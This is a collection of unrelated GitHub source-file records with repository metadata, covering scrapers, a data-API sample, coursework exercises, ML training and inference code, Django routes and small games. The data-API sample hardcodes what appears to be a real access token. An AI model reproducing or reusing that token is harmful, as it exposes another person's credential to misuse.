+{"seq_id":"8545008273","text":"#!/usr/bin/env python3\n\nimport re\nimport json\nimport arrow\nimport lxml.html\nimport requests\n\nwith open('data/transcripts/transcript_list.json') as f:\n    transcript_list_gen = (json.loads(line) for line in f)\n    transcript_list = sorted(transcript_list_gen, key=lambda x: x['date'])\n\ndef find_article_id(doc):\n    scripts = doc.cssselect(\"script\")\n    script = [script for script in scripts if \"var articleInfo\" in script.text_content()][0].text_content()\n    vcmId = re.search(r\"vcmId: \\\"(.*)\\\"\", script).groups()[0]\n    return vcmId\n\ndef find_transcript_element(doc):\n    article = doc.cssselect(\"div.main > article > div > div.article-body > div.article-text\")[0]\n    return article\n\ndef download_article(url):\n    response = requests.get(url)\n    doc = lxml.html.fromstring(response.content)\n    vcmId = find_article_id(doc)\n    transcript_el = find_transcript_element(doc)\n    return {\n        \"vcmId\": vcmId,\n        \"html\": lxml.html.tostring(transcript_el).decode('utf-8')\n    }\n\nfor item in transcript_list:\n    url = item.pop('url')[0]\n\n    print(f\"Downloading {url}\")\n    article = download_article(url)\n    vcmId, html = article['vcmId'], article['html']\n\n    output = {\n        \"vcmId\": vcmId,\n        \"url\": url,\n        \"html\": html,\n        \"title\": item['title'],\n        \"description\": item['description'],\n        \"date\": item['date']\n    }\n\n    with open(f'data/transcripts/raw/{vcmId}.json', 'w') as f:\n        json.dump(output, f)\n","repo_name":"AlJohri/late-night-talk-show-analysis","sub_path":"the-oreilly-factor/scripts/scrape_transcripts.py","file_name":"scrape_transcripts.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"40967048532","text":"# -*- coding: utf-8 -*-\nfrom dataapi import Client\nif __name__ == \"__main__\":\n    try:\n        client = Client()\n        client.init('e97fd48ed3ada633e20848c501fa018db3a52734767bfedc20ce0f1ac3aea723')\n        \n        \n        url1='/api/macro/getChinaDataGDP.json?field=&indicID=M010000002&indicName=&beginDate=&endDate='\n        code, result = client.getData(url1)\n        if code==200:\n            print (result)\n        else:\n            print (code)\n            print (result)\n        url2='/api/subject/getThemesContent.json?field=&themeID=&themeName=&isMain=1&themeSource='\n        code, result = client.getData(url2)\n        if(code==200):\n            file_object = open('thefile.csv', 'w')\n            file_object.write(result)\n            file_object.close( )\n        else:\n            print (code)\n            print (result)\n            \n            \n        url3 = '/api/equity/getEqu.json?field=&ticker=&secID=&equTypeCD=A&listStatusCD=L'\n        code, result = client.getData(url3)\n        \n        url4 = '/api/market/getMktStockFactorsOneDayPro.json?field=ticker,tradeDate,pe&secID=&ticker=000001,600000&tradeDate=20160727'\n        code,result = client.getData(url4)\n        \n        url5 = '/api/equity/getSecST.json?field=&secID=&ticker=000521&beginDate=20020101&endDate=20160831'\n        code,result_st = client.getData(url5)\n    except Exception as e:\n        #traceback.print_exc()\n        raise e\n\n\n\nresult.to_csv('stockpool.csv')","repo_name":"quzhengqi/intraday","sub_path":"samplecode.py","file_name":"samplecode.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11150227641","text":"import sys\ninput = sys.stdin.readline\n\nn = int(input())\nnumbers = list(map(int, input().split()))\ncount = 0\n\ndpLast = [0 for _ in range(21)]\ndpLast[numbers[0]] += 1\n\nfor num in numbers[1:-1]:\n    dp = [0 for _ in range(21)]\n    for i in range(21):\n        if dpLast[i]:\n            if i-num >= 0:\n                dp[i-num] += dpLast[i]\n            if i+num <= 20:\n                dp[i+num] += dpLast[i]\n    dpLast = dp.copy()\n\nprint(dpLast[numbers[-1]])","repo_name":"twinklesu/algorithm_py","sub_path":"5557.py","file_name":"5557.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"33946245185","text":"from unnamed.unnamed import run_test\nfrom unnamed.evaluate import EvaluateException\nfrom unnamed.parsetree import ParseException\nfrom test.base_test_case import BaseTestCase\n\nsimple0 = \"\"\"\n            loop (let i = 0; i < 5; i = i + 1;) {\n              print i;\n            }\n          \"\"\"\nsimple1 = \"\"\"\n            let i = 0;\n            loop (i < 5) {\n              print i;\n              i = i + 1;\n            }\n          \"\"\"\nsimple2 = \"\"\"\n            print 0;\n            loop (False) {\n              print 0;\n            }\n          \"\"\"\n\nclass LoopTest(BaseTestCase):\n  def test_simple0(self):\n    self.assert_stdout(simple0, '0\\n1\\n2\\n3\\n4\\n')\n\n  def test_simple1(self):\n    self.assert_stdout(simple1, '0\\n1\\n2\\n3\\n4\\n')\n\n  def test_simple2(self):\n    self.assert_stdout(simple2, '0\\n')\n\nif __name__ == '__main__':\n  unittest.main()","repo_name":"xcjackpan/ceci","sub_path":"test/test_loop.py","file_name":"test_loop.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"40753852583","text":"RE_RECOGNIZE_MONEY = False\nPRECISELY_SEARCH = False\n\nreplace_map = {'O': '0', ',': '.', '_': '', 'Q': '0', 'D': '0', '@': '0', 'B': '8', 'L': '1',\n               '~': '', ',': '.', ']': '1', '[': '1', '-': '', 'S': '5', 'Y': '7', ':': '', 'l': '1', 'G': '6'\n               }\n\nbeijing_table_config1 = {\n    'left': [\n        ['^门诊大额支付$', '^门诊大.*支付$', '^门.大额支付$', '.{2,}大额支付$', '诊大额支付'],\n        ['退休补充支付', '^.{2}补充支付', '.*休补充支付'],\n        ['残军补助支付', '.军补助支付'],\n        ['单位补.*公疗.*支付', '.*原公疗.*'],\n        []\n    ],\n    'right': [\n        ['本次医保范围内金额', '本次医保范.内金额'],\n        ['累计医保内范围金额', '累计医保内范.*金额', '累计医保内范围.*'],\n        ['年度门诊大额累计支付', '^年度门诊大额累计', '^年度门.*大额累计'],\n        ['本次支付后个人账户余额', '本次支付后个人账户.*'],\n        []\n    ],\n    'name': [\n        'men_zhen_da_e_zhi_fu',\n        'tui_xiu_bu_chong_zhi_fu',\n        'can_jun_bu_zhu_zhi_fu',\n        'dan_wei_bu_chong_xian_zhi_fu',\n        'medicalpaymoney'\n    ],\n    'template_bg_config':\n        {\n            'loc': [0, 283, 459, 459],\n            'width': 819,\n            'height': 497\n        },\n    're_recog': False\n}\nbeijing_table_config2 = {\n    'left': [\n        ['本次医保范围内金额', '本次医保范.*内金'],\n        ['累计医保内范围金额', '累计医保内范.*金额'],\n        ['年度门诊大额累计支付'],\n        ['本次支付后个人账户余额', '本次支付后个人账户.*'],\n        []\n\n    ],\n    'right': [\n        ['^起付金额', '^起付金'],\n        ['超封顶金额', '超封.金额', '超.{2}金额'],\n        ['自付二'],\n        ['自费'],\n        [],\n    ],\n    'name': [\n        'ben_ci_yi_bao_fan_wei_nei_jin_e',\n        'lei_ji_yi_bao_fan_wei_nei_jin_e',\n        'nian_du_men_zhen_da_e_lei_ji_zhi_fu',\n        'ben_ci_zhi_fu_hou_ge_ren_zhang_hu_yu_e',\n        'personal_account_pay_money'\n    ],\n    'template_bg_config':\n        {\n            'loc': [245, 283, 590, 457],\n            'width': 819,\n            'height': 497\n        },\n    're_recog': False\n}\nbeijing_table_config3 = {\n    'left': [\n        ['自付一', '自村一'],\n        ['起付金额', '起村金额'],\n        ['超封顶金额', '超封.*金额'],\n        ['自付二', '自村二'],\n        ['自费'],\n        ['个人.*付金额']\n    ],\n    'right': None,\n    'name': [\n        'selfpayone',\n        'qi_fu_jin_e',\n        'chao_feng_ding_jin_e',\n        'selfpaytwo',\n        'selfpaymoney',\n        'personpaymoney'\n    ],\n    'template_bg_config':\n        {\n            'loc': [408, 285, 732, 456],\n            'width': 819,\n            'height': 497\n        },\n    're_recog': True\n}\nbeijing_table_config4 = {\n    'left': [\n        ['本次医保范围内金', '本.*医保范围内金', '本次医保范.内金额'],\n        ['年度累计医保范���内金额', '年度累.医.范围内金', '年度.计医保范.内金额', '.*累计医保范围内金额'],\n        ['年度居民基本医疗保险基金门诊累计支付', '年.居民基本医疗保险基金', '年度居民基本医疗保.基金门诊.*', '.*居民基本医疗*.'],\n        []\n    ],\n    'right': None,\n    'name': [\n        'ben_ci_yi_bao_fan_wei_nei_jin_e',\n        'lei_ji_yi_bao_fan_wei_nei_jin_e',\n        'nian_du_men_zhen_da_e_lei_ji_zhi_fu',\n        'medicalpaymoney'\n    ],\n    'template_bg_config':\n        {\n            'loc': [82, 283, 459, 459],\n            'width': 819,\n            'height': 497\n        },\n    're_recog': False\n}\n\nbeijing_table_config = [\n    beijing_table_config1,\n    beijing_table_config2,\n    beijing_table_config3,\n    beijing_table_config4\n]\n\nbeijing_teshu_table_config1 = {\n    'left': [\n        ['统筹基金支付', '统.基金支.{2}'],\n        ['住院大额支付', '住院大.支付', '住.大额支付'],\n        ['退休补充支付', '^.{2}补充支付', '.*休补充支付'],\n        ['残军补助支付', '.军补助支付'],\n        ['单位补.*公疗.*支付', '.*原公疗.*'],\n        []\n    ],\n    'right': [\n        ['费用起止时间', '.*用起止时.*', '.*用起.*时间'],\n        ['本次医保范围内金', '本.*医保范围内金', '本次医保范.*内金额'],\n        ['年度统筹基金累计支付', '年度统.*基.*累计支.', '.*度统筹.金累计.*'],\n        ['年度大额资金.*住院.*累计支付', '年度大.*资金.*住院.*计支.', '年.大额.*金.*住院.*累计支付'],\n        ['本次支付后个人账户余额', '本次支付后个人账户余.*', '.*支付后个人账户.*'],\n        []\n    ],\n    'name': [\n        'tong_chou_ji_jin_zhi_fu',\n        'zhu_yuan_da_e_zhi_fu',\n        'tui_xiu_bu_chong_zhi_fu',\n        'can_jun_bu_zhu_zhi_fu',\n        'dan_wei_bu_chong_xian_zhi_fu',\n        'medicalpaymoney',\n    ],\n    're_recog': False\n}\n\nbeijing_teshu_table_config2 = {\n    'left': [\n        ['本次医保范围内金', '本.*医保范围内金', '本次医保范.*内金额'],\n        ['年度统筹基金累计支付', '年度统.*基.*累计支.', '.*度统筹.金累计.*'],\n        ['年度大额资金.*住院.*累计支付', '年度大.*资金.*住院.*计支.', '年.大额.*金.*住院.*累计支付'],\n        ['本次支付后个人账户余额', '本次支付后个人账户余.*', '.*支付后个人账户.*'],\n        []\n    ],\n    'right': [\n        ['起付金额', '起村金额'],\n        ['超封顶金额', '超封.*金额'],\n        ['自付二', '自村二'],\n        ['自费'],\n        ['个人.*付金额']\n    ],\n    'name': [\n        'ben_ci_yi_bao_fan_wei_nei_jin_e',\n        'nian_du_tong_chou_ji_jin_lei_ji_zhi_fu',\n        'nian_du_da_e_zi_jin_zhu_yuan_lei_ji_zhi_fu',\n        'ben_ci_zhi_fu_hou_ge_ren_zhang_hu_yu_e',\n        'personal_account_balance'\n    ],\n    're_recog': False\n}\n\nbeijing_teshu_table_config3 = {\n    'left': [\n        ['自付一', '自村一'],\n        ['起付金额', '起村金额'],\n        ['超封顶金额', '超封.*金额'],\n        ['自付二', '自村二'],\n        ['自费'],\n        ['个人.*付金额']\n    ],\n    'right': None,\n    'name': [\n        'selfpayone',\n        'qi_fu_jin_e',\n        'chao_feng_ding_jin_e',\n        'selfpaytwo',\n        'selfpaymoney',\n        'personpaymoney'\n    ],\n    're_recog': True\n}\n\nbeijing_table_teshu_config4 = {\n    'left': [\n        ['本次医保范围内金额', ],\n        ['年度居民基本医疗保险', '年度居民基本医疗保.', '金累计.住院.支付金.'],\n        []\n    ],\n    'right': None,\n    'name': [\n        'ben_ci_yi_bao_fan_wei_nei_jin_e',\n        'nian_du_ju_min_ji_ben_yi_liao_bao_xian_ji_jin_lei_ji_zhu_yuan_zhi_fu',\n        'medicalpaymoney',\n    ],\n    're_recog': True\n}\n\nbeijing_teshu_table_config = [\n    beijing_teshu_table_config1,\n    beijing_teshu_table_config2,\n    beijing_teshu_table_config3,\n    beijing_table_teshu_config4\n]\n","repo_name":"imfifc/myocr","sub_path":"ocr_structuring/core/utils/medical_amount_utils/medical_table_config.py","file_name":"medical_table_config.py","file_ext":"py","file_size_in_byte":7068,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"24786625811","text":"from app import App\nimport sys\nimport logging\n\ndef main():\n    logging.basicConfig(level=logging.DEBUG)\n    app = App()\n    arg_len = len(sys.argv)\n    command = sys.argv[1]\n\n    if command == \"send\":\n        if arg_len < 4:\n            logging.exception(f\"Not enough arguments for send command. Expected: 2 got {arg_len - 2}\")\n            return\n        try:\n            filename = sys.argv[2]\n            cipher = sys.argv[3]\n            logging.info(\"sending file..\")\n            app.send_file(filename, cipher)\n        except Exception as e:\n            logging.exception(e)\n            return\n\n        logging.info(\"file sent successfully!\")\n\n    elif command == \"receive\":\n        try:\n            app.receive_file()\n        except Exception as e:\n            logging.exception(e)\n            return\n        logging.info(\"file received succesfully!\")\n    \n    else:\n        logging.exception(f\"Command not found for {command}\")\n        return\n\n\nif __name__ == \"__main__\":\n    main()","repo_name":"rikiachmad/kij-assignment-symmetric-cipher","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"14239749125","text":"# Lago Logs module - An easy way to set up your logs \n#\n# To use this module, import the function logs_lake and run it.\n# The function will automatically configure the logging in the right way.\n# The module is extremely biased, so use by your own risk.\n\nimport logging \n\n\ndef logs_lake():\n    # Start the log level as debug, everything gets logged\n    logging.basicConfig(format='%(asctime)s - %(levelname)s: %(message)s', \n        filename='example.log', encoding='utf-8',datefmt='%d/%m/%Y %I:%M:%S %p',\n        level=logging.DEBUG)\n    logger = logging.getLogger().debug(\"Logger started successfully\")\n\n","repo_name":"morallito/web_scrapping","sub_path":"books/python_web_scraping/lago_logs.py","file_name":"lago_logs.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"13365569069","text":"from copyreg import pickle\nfrom PIL import Image\nimport numpy as np\nimport sys\nimport pickle\nSOURCE_PATH = r\"/home/user/ZeroDeepLearning/01.ゼロから作るDeepLearning/99.source\"\nsys.path.append(SOURCE_PATH)\nfrom dataset.mnist import load_mnist  # noqa\nfrom common.functions import sigmoid, softmax  # noqa\n\n\ndef get_data():\n    (x_train, t_train), (x_test, t_test) = \\\n        load_mnist(flatten=True, normalize=False, one_hot_label=False)\n    return x_test, t_test\n\n\ndef init_network():\n    dir = SOURCE_PATH + r\"/ch03/\"\n    with open(dir + \"sample_weight.pkl\", 'rb') as f:\n        network = pickle.load(f)\n    return network\n\n\ndef predict(network, x):\n    W1, W2, W3 = network['W1'], network['W2'], network['W3']\n    b1, b2, b3 = network['b1'], network['b2'], network['b3']\n\n    a1 = np.dot(x, W1) + b1\n    z1 = sigmoid(a1)\n    a2 = np.dot(z1, W2) + b2\n    z2 = sigmoid(a2)\n    a3 = np.dot(z2, W3) + b3\n    y = softmax(a3)\n\n    return y\n\n\nx, t = get_data()\nnetwork = init_network()\naccuracy_cnt = 0\nfor i in range(len(x)):\n    y = predict(network, x[i])\n    p = np.argmax(y)  # 最も確率の高い要素のインデックスを取得\n    if p == t[i]:\n        accuracy_cnt += 1\n\nprint(\"Accuracy:\" + str(float(accuracy_cnt) / len(x)))\n\n# Accuracy:0.9207\n# 出力結果が書籍と異なる。環境によるものか？下記のオーバーフローが影響していそう。2回出てた\n# RuntimeWarning: overflow encountered in exp\n#  return 1 / (1 + np.exp(-x))\n","repo_name":"YukariMazeDofu/ZeroDeepLearning","sub_path":"01.ゼロから作るDeepLearning/03.ニューラルネットワーク/3.6/newralnet_mnist_mod.py","file_name":"newralnet_mnist_mod.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"23663857375","text":"\"\"\"\nURL configuration for project_practice project.\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/4.2/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  path('', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.urls import include, path\n    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom project_practice import views\n\nurlpatterns = [\n    path('admin/', admin.site.urls),\n    path('about',views.aboutUs),\n    path('html/',views.htmlResponse),\n    path('<int:courseId>',views.dynamicRequest),\n    path('animation',views.htmlAnimation),\n    path('geolocation',views.getGeolocation),\n    path('dragdrop',views.dragDrop),\n    path('fileinputapi',views.fileInputAPI),\n    path(\"localstorageapi\",views. localStoarageAPI)\n]\n","repo_name":"BantuD/FullStack-Django","sub_path":"project_practice/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"31041626226","text":"import os\nimport json\nfrom copy import deepcopy\nfrom typing import NamedTuple\nfrom tqdm import tqdm\n\nimport torch\nimport torch.nn as nn\n\nfrom utils import checkpoint\n# from utils.logger import Logger\nfrom tensorboardX import SummaryWriter\nfrom utils.utils import output_logging\n\n\nclass Trainer(object):\n    \"\"\"Training Helper class\"\"\"\n    def __init__(self, cfg, model, data_iter, optimizer, device):\n        self.cfg = cfg\n        self.model = model\n        self.optimizer = optimizer\n        self.device = device\n\n        # data iter\n        if len(data_iter) == 1:\n            self.sup_iter = data_iter[0]\n        elif len(data_iter) == 2:\n            self.sup_iter = self.repeat_dataloader(data_iter[0])\n            self.unsup_iter = self.repeat_dataloader(data_iter[1])\n        elif len(data_iter) == 3:\n            self.sup_iter = self.repeat_dataloader(data_iter[0])\n            self.unsup_iter = self.repeat_dataloader(data_iter[1])\n            self.eval_iter = data_iter[2]\n\n    def train(self, get_loss, get_acc, model_file, pretrain_file):\n        \"\"\" train uda\"\"\"\n\n        # tensorboardX logging\n        if self.cfg.results_dir:\n            logger = SummaryWriter(log_dir=os.path.join(self.cfg.results_dir, 'logs'))\n\n        self.model.train()\n        self.load(model_file, pretrain_file)    # between model_file and pretrain_file, only one model will be loaded\n        model = self.model.to(self.device)\n        if self.cfg.data_parallel:                       # Parallel GPU mode\n            model = nn.DataParallel(model)\n\n        global_step = 0\n        loss_sum = 0.\n        max_acc = [0., 0]   # acc, step\n\n        # Progress bar is set by unsup or sup data\n        # uda_mode == True --> sup_iter is repeated\n        # uda_mode == False --> sup_iter is not repeated\n        iter_bar = tqdm(self.unsup_iter, total=self.cfg.total_steps) if self.cfg.uda_mode \\\n              else tqdm(self.sup_iter, total=self.cfg.total_steps)\n        for i, batch in enumerate(iter_bar):\n                \n            # Device assignment\n            if self.cfg.uda_mode:\n                sup_batch = [t.to(self.device) for t in next(self.sup_iter)]\n                unsup_batch = [t.to(self.device) for t in batch]\n            else:\n                sup_batch = [t.to(self.device) for t in batch]\n                unsup_batch = None\n\n            # update\n            self.optimizer.zero_grad()\n            final_loss, sup_loss, unsup_loss = get_loss(model, sup_batch, unsup_batch, global_step)\n            final_loss.backward()\n            self.optimizer.step()\n\n            # print loss\n            global_step += 1\n            loss_sum += final_loss.item()\n            if self.cfg.uda_mode:\n                iter_bar.set_description('final=%5.3f unsup=%5.3f sup=%5.3f'\\\n                        % (final_loss.item(), unsup_loss.item(), sup_loss.item()))\n            else:\n                iter_bar.set_description('loss=%5.3f' % (final_loss.item()))\n\n            # logging            \n            if self.cfg.uda_mode:\n                logger.add_scalars('data/scalar_group',\n                                    {'final_loss': final_loss.item(),\n                                     'sup_loss': sup_loss.item(),\n                                     'unsup_loss': unsup_loss.item(),\n                                     'lr': self.optimizer.get_lr()[0]\n                                    }, global_step)\n            else:\n                logger.add_scalars('data/scalar_group',\n                                    {'sup_loss': final_loss.item()}, global_step)\n\n            if global_step % self.cfg.save_steps == 0:\n                self.save(global_step)\n\n            if get_acc and global_step % self.cfg.check_steps == 0 and global_step > 4999:\n                results = self.eval(get_acc, None, model)\n                total_accuracy = torch.cat(results).mean().item()\n                logger.add_scalars('data/scalar_group', {'eval_acc' : total_accuracy}, global_step)\n                if max_acc[0] < total_accuracy:\n                    self.save(global_step)\n                    max_acc = total_accuracy, global_step\n                print('Accuracy : %5.3f' % total_accuracy)\n                print('Max Accuracy : %5.3f Max global_steps : %d Cur global_steps : %d' %(max_acc[0], max_acc[1], global_step), end='\\n\\n')\n\n            if self.cfg.total_steps and self.cfg.total_steps < global_step:\n                print('The total steps have been reached')\n                print('Average Loss %5.3f' % (loss_sum/(i+1)))\n                if get_acc:\n                    results = self.eval(get_acc, None, model)\n                    total_accuracy = torch.cat(results).mean().item()\n                    logger.add_scalars('data/scalar_group', {'eval_acc' : total_accuracy}, global_step)\n                    if max_acc[0] < total_accuracy:\n                        max_acc = total_accuracy, global_step                \n                    print('Accuracy :', total_accuracy)\n                    print('Max Accuracy : %5.3f Max global_steps : %d Cur global_steps : %d' %(max_acc[0], max_acc[1], global_step), end='\\n\\n')\n                self.save(global_step)\n                return\n        return global_step\n\n    def eval(self, evaluate, model_file, model):\n        \"\"\" evaluation function \"\"\"\n        if model_file:\n            self.model.eval()\n            self.load(model_file, None)\n            model = self.model.to(self.device)\n            if self.cfg.data_parallel:\n                model = nn.DataParallel(model)\n\n        results = []\n        iter_bar = tqdm(self.sup_iter) if model_file \\\n            else tqdm(deepcopy(self.eval_iter))\n        for batch in iter_bar:\n            batch = [t.to(self.device) for t in batch]\n\n            with torch.no_grad():\n                accuracy, result = evaluate(model, batch)\n            results.append(result)\n\n            iter_bar.set_description('Eval Acc=%5.3f' % accuracy)\n        return results\n            \n    def load(self, model_file, pretrain_file):\n        \"\"\" between model_file and pretrain_file, only one model will be loaded \"\"\"\n        if model_file:\n            print('Loading the model from', model_file)\n            if torch.cuda.is_available():\n                self.model.load_state_dict(torch.load(model_file))\n            else:\n                self.model.load_state_dict(torch.load(model_file, map_location='cpu'))\n\n        elif pretrain_file:\n            print('Loading the pretrained model from', pretrain_file)\n            if pretrain_file.endswith('.ckpt'):  # checkpoint file in tensorflow\n                checkpoint.load_model(self.model.transformer, pretrain_file)\n            elif pretrain_file.endswith('.pt'):  # pretrain model file in pytorch\n                self.model.transformer.load_state_dict(\n                    {key[12:]: value\n                        for key, value in torch.load(pretrain_file).items()\n                        if key.startswith('transformer')}\n                )   # load only transformer parts\n    \n    def save(self, i):\n        \"\"\" save model \"\"\"\n        if not os.path.isdir(os.path.join(self.cfg.results_dir, 'save')):\n            os.makedirs(os.path.join(self.cfg.results_dir, 'save'))\n        torch.save(self.model.state_dict(),\n                        os.path.join(self.cfg.results_dir, 'save', 'model_steps_'+str(i)+'.pt'))\n\n    def repeat_dataloader(self, iterable):\n        \"\"\" repeat dataloader \"\"\"\n        while True:\n            for x in iterable:\n                yield x\n","repo_name":"SanghunYun/UDA_pytorch","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":7483,"program_lang":"python","lang":"en","doc_type":"code","stars":272,"dataset":"github-code","pt":"16"}
+{"seq_id":"35641200827","text":"from scrapy.crawler import CrawlerProcess\nfrom scrapy.utils.project import get_project_settings\nfrom ScrapSurfSpot.ScrapSurfSpot.spiders import Spot2\nimport os\n\n\nclass Scraper:\n    def __init__(self):\n        settings_file_path = 'ScrapSurfSpot.ScrapSurfSpot.settings'\n        os.environ.setdefault('SCRAPY_SETTINGS_MODULE', settings_file_path)\n        self.settings = get_project_settings()\n        self.process = CrawlerProcess(self.settings)\n        self.spider = Spot2.ExampleSpider \n\n    def run_spider(self):\n        self.process.crawl(self.spider)\n        self.process.start()  ","repo_name":"AntoineMOREAU1/Application-flask-spots-surf","sub_path":"ScrapSurfSpot/scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"31640097522","text":"from frequent_functions import get_valid_answer, format_list_to_string\nMENU = {\n    \"espresso\": {\n        \"ingredients\": {\n            \"water\": 50,\n            \"coffee\": 18,\n        },\n        \"cost\": 1.5,\n    },\n    \"latte\": {\n        \"ingredients\": {\n            \"water\": 200,\n            \"milk\": 150,\n            \"coffee\": 24,\n        },\n        \"cost\": 2.5,\n    },\n    \"cappuccino\": {\n        \"ingredients\": {\n            \"water\": 250,\n            \"milk\": 100,\n            \"coffee\": 24,\n        },\n        \"cost\": 3.0,\n    }\n}\n\nresources = {\n    \"water\": 300,\n    \"milk\": 200,\n    \"coffee\": 100,\n}\n\nmoney = 0 #how much money in machine\n\nemojis = []\n\n# TODO: 1. Main Funct: Ask Flavor, off return\ndef coffee_machine():\n    flavor_options = ['report', 'off', 'espresso', 'latte', 'cappuccino']\n    flavor = get_valid_answer(flavor_options, \"What would you like? (espresso/latte/cappuccino): \")\n\n    if flavor == 'off':\n        return\n    elif flavor == 'report':\n        report()\n    else:\n        missing_resources = check_resources(flavor)\n        if len(missing_resources) == 0:\n            payment(flavor)\n        else:\n            missing_string = format_list_to_string(missing_resources)\n            print(f\"Sorry there is not enough {missing_string}.\")\n    coffee_machine()\n\n# TODO: 2. Report Function\ndef report():\n    print(f\"Water: {resources['water']}ml\")\n    print(f\"Milk: {resources['milk']}ml\")\n    print(f\"Coffee: {resources['coffee']}g\")\n    print(f\"Money: ${money}\")\n\n# TODO: 3. check resource enough\ndef check_resources(flavor):\n    required_resources = MENU[flavor]['ingredients']\n    missing = []\n    for item in required_resources:\n        if required_resources[item] > resources[item]:\n            missing.append(resources[item])\n    return missing\n\n# TODO: 4. payment function check enough\ndef payment(flavor):\n    print(\"Please insert coins.\")\n    quarters = int(input(\"How many quarters?: \"))\n    dimes = int(input(\"How many dimes?: \"))\n    nickles = int(input(\"How many nickles?: \"))\n    pennies = int(input(\"How many pennies?: \"))\n    amount_paid = (quarters * 25 + dimes * 10 + nickles * 5 + pennies)/100\n    cost = MENU[flavor]['cost']\n\n    if amount_paid < cost:\n        print(f\"Sorry that's not enough money. Money refunded\")\n    else:\n        change = round(amount_paid - cost, 2)\n        if change != 0:\n            print(f\"Here is ${change} in change.\")\n        make_drink(flavor)\n\n# TODO: 5. make drink function\ndef make_drink(flavor):\n    flavor_details = MENU[flavor]\n    flavor_ingredients = flavor_details['ingredients']\n    for item in flavor_ingredients:\n        resources[item] -= flavor_ingredients[item]\n    print(f\"Here is your {flavor} ☕. Enjoy!\")\n    global money\n    money += flavor_details['cost']\n\n\ncoffee_machine()","repo_name":"burgus7/100-day-bootcamp","sub_path":"day_15/coffee_machine.py","file_name":"coffee_machine.py","file_ext":"py","file_size_in_byte":2769,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"42003308972","text":"import pygame\nfrom constants.colors import BLACK_COLOR, FILL_COLOR, BACKGROUND_COLOR\n\nclass Box(object):\n    def __init__(self, screen, font, x, y, value):\n        self.x = x\n        self.y = y\n        self.width = 39\n        self.height = 39\n        self.value = value\n        self.clickable = True\n        self.set_initial_value(screen, font, value)\n        self.draw_box(screen)\n\n    def get_x_y(self):\n        return self.x / 40, ' - ', self.y / 40\n\n    def set_initial_value(self, screen, font, value):\n        self.value = value\n        if value != 0:\n            self.clickable = False\n\n            self.highlight_box(screen, font, FILL_COLOR)\n\n            self.set_number(screen, font)\n\n    def set_number(self, screen, font):\n        if self.value != 0:\n            number = font.render(str(int(self.value)), True, (0, 0, 0))\n            screen.blit(\n                number,\n                (\n                    self.x + 10,\n                    self.y + 5 \n                )\n            )\n    def erase_number(self, screen, font):\n        self.value = 0\n        self.highlight_box(screen, font, BACKGROUND_COLOR)\n\n    def draw_box(self, screen):\n        pygame.draw.rect(\n            screen, BLACK_COLOR, pygame.Rect(self.x, self.y, 40, 40), 1\n        )\n\n    def clicked_box(self, screen, clicked_x, clicked_y):\n        if self.clickable:\n            return (clicked_x >= self.x and (clicked_x <= self.x + self.width)) and (clicked_y >= self.y and (clicked_y <= self.y + self.height))\n        return False\n\n    def highlight_box(self, screen, font, color):\n        if self.clickable:\n            pygame.draw.rect(\n                screen,\n                color,\n                pygame.Rect(self.x, self.y, self.width, self.height))\n        else:\n            pygame.draw.rect(\n                screen,\n                FILL_COLOR,\n                pygame.Rect(self.x, self.y, self.width, self.height))\n        number = font.render(str(int(self.value)), True, (0, 0, 0))\n        self.set_number(screen, font)\n\n    def on_click(self, screen, font, value):\n        if isinstance(value, int):\n            number = font.render(str(value), True, (0, 0, 0))\n            self.value = value\n            self.set_number(screen, font)\n","repo_name":"kasia-jablonski/Beginning-Python","sub_path":"pygame_projects/Sudoku v2/classes/Box.py","file_name":"Box.py","file_ext":"py","file_size_in_byte":2229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
